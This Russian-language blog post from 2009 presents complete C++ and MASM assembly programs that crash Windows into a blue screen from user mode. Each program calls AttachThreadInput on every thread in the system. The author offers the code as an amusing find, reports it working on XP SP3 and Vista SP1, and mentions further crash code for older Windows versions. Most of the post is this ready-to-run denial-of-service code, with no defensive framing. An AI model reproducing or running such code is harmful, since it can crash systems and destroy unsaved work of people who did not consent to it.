Print This Post Как сделать BSOD из User-mode

Воскресенье, 17. Май 2009
Раздел: Assembler, автор:

Наткнулся на забавный исходник на одном китайском сайте, где показано, как можно сделать BSOD (Blue Screen of Death, синий экран смерти) в Windows из User-Mode (ring 3) без всякого Native API:

Код на c++:

#include <windows .h>
#include <tlhelp32 .h>
 
#pragma comment(lib,"user32.lib")
 
int main()
{
   HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
   THREADENTRY32 tBuffer={0};
   tBuffer.dwSize=sizeof(THREADENTRY32);
   if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer))
   {
       while (Thread32Next(SnapShotHandle,&tBuffer))
       {
           AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE);
       }
   }
   return 1;
}
</tlhelp32></windows>

Код на ассемблере (переписал с си++ для уменьшения размера, весит всего 1кб):

      .486
      .model flat, stdcall
      option casemap :none
      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\macros\macros.asm
 
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
 
 
.data?
SnapShotHandle HANDLE ?
tBuffer THREADENTRY32 <>
 
.code
start:
mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0)
mov tBuffer.dwSize,sizeof THREADENTRY32
 
invoke Thread32First,SnapShotHandle,offset tBuffer
 
.if SnapShotHandle!=INVALID_HANDLE_VALUE && eax
 
 
  again:
  invoke Thread32Next,SnapShotHandle,offset tBuffer
  .if eax!=0
    invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE
    jmp again
  .endif
 
.endif
 
end start

Код проверен и работает на WinXP SP3 и Windows Vista SP1. На Windows 7 не работает, пофикшено, на XP SP2 тоже вроде бы не работает.

UPD: обнаружился код на c++, который способен вызвать BSOD на Win XP SP2, Win 2003 SP1 и Win NT SP4 (Discovered on 23.12.2004 by YuraN).
Читать дальше »